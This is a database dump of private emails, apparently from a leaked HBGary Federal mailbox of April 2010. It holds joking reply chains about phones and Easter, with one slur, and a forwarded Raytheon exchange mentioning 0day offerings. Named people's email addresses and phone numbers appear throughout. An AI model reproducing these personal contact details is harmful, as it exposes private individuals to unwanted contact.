aren\'t elegant,  it\'s\r\n>>>>>>> like\r\n>>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>>> parlor\r\n>>>>>>> trick.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> From my iPhone\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>>\r\n>>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>>> retarded\r\n>>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>>> around\r\n>>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>>\r\n>>>>>>> Aaron Barr wrote:\r\n>>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>>\r\n>>>>>>>>>> From my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>>> battery\r\n>>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>>> android.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Tv\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>>>> just be\r\n>>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>>> rather\r\n>>>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>>>> and\r\n>>>>>>>>>> have\r\n>>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/zWoACgkQJiBdlDsg/MBvZgCfQo7wrEH1Y455aGloS5Je9M/I\r\nUSUAn2/guG4+hIgR1k3/eLA9cRBEVwHL\r\n=lJkX\r\n-----END PGP SIGNATURE-----\r\n',813,'aaron_hbgary_com/813.html'),(5136,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003258.M531291P3547Q5136.eml','\"Ted Vera\" <tedvera@me.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n? ??s??? ?a???d???\r\n\r\nmark wrote:\r\n> ? ?????? ?????????\r\n> \r\n> http://translate.google.com/#el|en|%CE%9F%20%CE%99%CE%B7%CF%83%CE%BF%CF%8D%CF%82%20%CE%BB%CE%B1%CE%B3%CE%BF%CF%85%CE%B4%CE%AC%CE%BA%CE%B9\r\n> \r\n> I love the internet!  And googles listen to this translation button is\r\n> just hours of fun\r\n> \r\n> Ted Vera wrote:\r\n>> That\'s just a technicality. He rose from the grave to return as the\r\n>> messiah, which is Greek for \"easter bunny\".\r\n> \r\n> \r\n> \r\n>> On Apr 9, 2010, at 6:45 PM, Aaron Barr  wrote:\r\n> \r\n>>> Ah right. Wait isn\'t that reincarnation? Stop your not a Buddhist!\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n>>>\r\n>>>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>>>> Easter Bunny. Dummy.\r\n>>>>\r\n>>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>>> raising from the grave?\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>>\r\n>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>> Linux\r\n>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>> right place, but using jesus rising from the dead as a point of\r\n>> reference so close after easter has got to just be wrong.  Plus, I\r\n>> feel\r\n>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n> \r\n>> Aaron Barr wrote:\r\n>>>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>>>>> like\r\n>>>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>>>> parlor\r\n>>>>>>>> trick.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> From my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>>>> retarded\r\n>>>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>>>> around\r\n>>>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr wrote:\r\n>>>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> From my iPhone\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>>>> battery\r\n>>>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>>>> android.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Tv\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>>>>> just be\r\n>>>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>>>> rather\r\n>>>>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>>>>> and\r\n>>>>>>>>>>> have\r\n>>>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/zZQACgkQJiBdlDsg/MCSqACeJu4m/8ZvgypggfDvgvaHNV2g\r\nARMAmwW295JKCZlqPjlnLXnjLUhSoX7/\r\n=SAs5\r\n-----END PGP SIGNATURE-----\r\n',10403,'aaron_hbgary_com/10403.html'),(5137,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003258.M711795P3547Q5137.eml','\"Ted Vera\" <tedvera@me.com>','Re: Addicting','Hmmm I don\'t think he\'ll is as big of a market.\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 8:46 PM, Ted Vera  wrote:\r\n\r\n> We are all going to hell. I heard Google just acquired hell. To\r\n> compensate for the market share they lost pulling out of china.\r\n>\r\n>\r\n>\r\n> On Apr 9, 2010, at 6:44 PM, mark  wrote:\r\n>\r\n>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>> Hash: SHA1\r\n>>\r\n>> Then we took that bunny, dipped it in chocolate and ate it.  Like\r\n>> Christs body during sacrament.\r\n>>\r\n>> That sounds weird enough to be true.\r\n>>\r\n>>\r\n>> Ted Vera wrote:\r\n>>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>>> Easter\r\n>>> Bunny. Dummy.\r\n>>>\r\n>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>\r\n>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>> raising from the grave?\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>\r\n>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>> Linux\r\n>>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>>> right place, but using jesus rising from the dead as a point of\r\n>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>> feel\r\n>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>\r\n>>> Aaron Barr wrote:\r\n>>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,\r\n>>>>>>> it\'s\r\n>>>>>>> like\r\n>>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>>> parlor\r\n>>>>>>> trick.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> From my iPhone\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>>\r\n>>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>>> retarded\r\n>>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>>> around\r\n>>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>>\r\n>>>>>>> Aaron Barr wrote:\r\n>>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>>\r\n>>>>>>>>>> From my iPhone\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>>> battery\r\n>>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>>> android.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Tv\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark \r\n>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>> Still won\'t even when the new version comes out.  It\r\n>>>>>>>>>> appears to\r\n>>>>>>>>>> just be\r\n>>>>>>>>>> API calls into common apps, as chosen by \"the one\", for\r\n>>>>>>>>>> access\r\n>>>>>>>>>> rather\r\n>>>>>>>>>> than true multitasking.  Apparently if you jailbreak an\r\n>>>>>>>>>> iPhone and\r\n>>>>>>>>>> have\r\n>>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>>> What does this have to do with compiling assembly\r\n>>>>>>>>>>>>>>>>> code?\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark >>>>>>>>>>>>>>>> >\r\n>>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>> -----BEGIN PGP SIGNATURE-----\r\n>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>\r\n>> iEYEARECAAYFAku/yd0ACgkQJiBdlDsg/MA0gACglvntXHs9nYuKuBREqVhSQ/zo\r\n>> WPYAnRkNcXOlPJIMmNYra5cfDbjozn8y\r\n>> =ED+U\r\n>> -----END PGP SIGNATURE-----\r\n',12698,'aaron_hbgary_com/12698.html'),(5138,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003258.M889950P3547Q5138.eml','\"Ted Vera\" <tedvera@me.com>','Re: Addicting','Thank you Easter bunny.  Balk balk.\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 8:50 PM, Ted Vera  wrote:\r\n\r\n> That\'s just a technicality. He rose from the grave to return as the\r\n> messiah, which is Greek for \"easter bunny\".\r\n>\r\n>\r\n>\r\n> On Apr 9, 2010, at 6:45 PM, Aaron Barr  wrote:\r\n>\r\n>> Ah right. Wait isn\'t that reincarnation? Stop your not a Buddhist!\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n>>\r\n>>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>>> Easter Bunny. Dummy.\r\n>>>\r\n>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>\r\n>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>> raising from the grave?\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>\r\n>>>>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>>>>> Hash: SHA1\r\n>>>>>\r\n>>>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>>>> Linux\r\n>>>>> boxes for so long I\'m just happy when the OK button shows up in\r\n>>>>> the\r\n>>>>> right place, but using jesus rising from the dead as a point of\r\n>>>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>>>> feel\r\n>>>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>>>\r\n>>>>> Aaron Barr wrote:\r\n>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>>> like\r\n>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>> parlor\r\n>>>>>> trick.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>\r\n>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>> retarded\r\n>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>> around\r\n>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>\r\n>>>>>> Aaron Barr wrote:\r\n>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>\r\n>>>>>>>>> From my iPhone\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>> battery\r\n>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>> android.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Tv\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark \r\n>>>>>>>>>> wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>> Still won\'t even when the new version comes out.  It appears\r\n>>>>>>>>> to\r\n>>>>>>>>> just be\r\n>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>> rather\r\n>>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>>> and\r\n>>>>>>>>> have\r\n>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>\r\n>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark\r\n>>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>>>> -----BEGIN PGP SIGNATURE-----\r\n>>>>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>>>>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>>>>\r\n>>>>> iEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\n>>>>> akgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n>>>>> =y+CZ\r\n>>>>> -----END PGP SIGNATURE-----\r\n',8127,'aaron_hbgary_com/8127.html'),(5139,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003259.M300561P3547Q5140.eml','\"Ted Vera\" <tedvera@me.com>,\"Mark Trynor\" <mark@hbgary.com>','Magpii','What if we took the idea to ask.com for a share of the profits?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13593,'aaron_hbgary_com/13593.html'),(5140,'2010-04-10','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003259.M530816P3547Q5141.eml','\"Ted Vera\" <tedvera@mac.com>,\"Ted Vera\" <tedvera@mac.com>','Re: pentest tools','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nWhat if we just go take the money these idiots don\'t want :\r\nhttp://valleywag.gawker.com/5511623/the-arrogance-of-turning-down-100-million\r\n\r\nTed Vera wrote:\r\n&gt;\r\nhttp://www.immunityinc.com/products-bundle.shtml\r\n&gt;\r\n&gt; Pen Testing Bundle\r\n\r\n\r\n\r\n',1703,'aaron_hbgary_com/1703.html'),(5141,'2010-04-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003259.M72299P3547Q5139.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','No, but it\'s one hot market!\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 7:37 PM, Aaron Barr  wrote:\r\n\r\n> Hmmm I don\'t think he\'ll is as big of a market.\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 9, 2010, at 8:46 PM, Ted Vera  wrote:\r\n>\r\n>> We are all going to hell. I heard Google just acquired hell. To\r\n>> compensate for the market share they lost pulling out of china.\r\n>>\r\n>>\r\n>>\r\n>> On Apr 9, 2010, at 6:44 PM, mark  wrote:\r\n>>\r\n>>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>>> Hash: SHA1\r\n>>>\r\n>>> Then we took that bunny, dipped it in chocolate and ate it.  Like\r\n>>> Christs body during sacrament.\r\n>>>\r\n>>> That sounds weird enough to be true.\r\n>>>\r\n>>>\r\n>>> Ted Vera wrote:\r\n>>>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>>>> Easter\r\n>>>> Bunny. Dummy.\r\n>>>>\r\n>>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>>> raising from the grave?\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>>\r\n>>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>>> Linux\r\n>>>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>>>> right place, but using jesus rising from the dead as a point of\r\n>>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>>> feel\r\n>>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>>\r\n>>>> Aaron Barr wrote:\r\n>>>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,\r\n>>>>>>>> it\'s\r\n>>>>>>>> like\r\n>>>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>>>> parlor\r\n>>>>>>>> trick.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> From my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>>>> retarded\r\n>>>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>>>> around\r\n>>>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr wrote:\r\n>>>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> From my iPhone\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>>>> battery\r\n>>>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with  \r\n>>>>>>>>>>>> an\r\n>>>>>>>>>>>> interface that lags, with choppy transitions. You know,  \r\n>>>>>>>>>>>> like\r\n>>>>>>>>>>>> android.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Tv\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark \r\n>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>> Still won\'t even when the new version comes out.  It\r\n>>>>>>>>>>> appears to\r\n>>>>>>>>>>> just be\r\n>>>>>>>>>>> API calls into common apps, as chosen by \"the one\", for\r\n>>>>>>>>>>> access\r\n>>>>>>>>>>> rather\r\n>>>>>>>>>>> than true multitasking.  Apparently if you jailbreak an\r\n>>>>>>>>>>> iPhone and\r\n>>>>>>>>>>> have\r\n>>>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB  \r\n>>>>>>>>>>>>>>> to\r\n>>>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>>>> What does this have to do with compiling assembly\r\n>>>>>>>>>>>>>>>>>> code?\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark >>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>> -----BEGIN PGP SIGNATURE-----\r\n>>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>>\r\n>>> iEYEARECAAYFAku/yd0ACgkQJiBdlDsg/MA0gACglvntXHs9nYuKuBREqVhSQ/zo\r\n>>> WPYAnRkNcXOlPJIMmNYra5cfDbjozn8y\r\n>>> =ED+U\r\n>>> -----END PGP SIGNATURE-----\r\n',11238,'aaron_hbgary_com/11238.html'),(5142,'2010-04-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003259.M739362P3547Q5142.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','Raytheon contact:Begin forwarded message:From: &quot;Don Mackert&quot; &lt;dmackert@raytheonvtc.com&gt;\r\nDate: April 10, 2010 7:10:24 AM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: HBGary\r\nTed,    Passed on to Paul Perkinson who is leading some of out Cyber C2efforts.Donald R. Mackert\r\nSenior Principal Engineer - JADOCSRaytheon Virtual Technology CorporationTEC: 703-428-7162/9004Cell: 240-273-8198Email: dmackert@raytheonvtc.com\r\nNIPR: donald.mackert@us.army.mil-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, April 09, 2010 5:02 PMTo: Don MackertSubject: Re: HBGaryHi Don,We just published a white paper about how to use responder for\r\nsoftware exploitation, thought you might be interestedhttp://www.hbgary.com/press/software-exploitation-with-recon/\r\nTedOn Tuesday, March 16, 2010, Don Mackert &lt;dmackert@raytheonvtc.com&gt; wrote:Ted,\r\n ï¿½ ï¿½ ï¿½ ï¿½Awesome, will review these.\r\nDonald R. MackertSenior Principal Engineer - JADOCSRaytheon Virtual Technology Corporation\r\nTEC: 703-428-7162/9004Cell: 240-273-8198Email: dmackert@raytheonvtc.com\r\nNIPR: donald.mackert@us.army.mil\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, March 16, 2010 6:57 PMTo: dmackert@raytheonvtc.com\r\nSubject: HBGaryHi Don,\r\nNice talking with you, it&#39;s been a long time. ï¿½Below is my contactinformation and attached is our Aurora report along with some HBGary\r\nproduct data sheets. ï¿½As I mentioned, we also do 0day development, andhave a few tools on the shelf. ï¿½If you&#39;re interested, we can send you\r\nan NDA and get you some 0day summaries to review.Regards,\r\nTed--Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n--Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',10614,'aaron_hbgary_com/10614.html'),(5143,'2010-04-10','\"Bob Slapnik\" 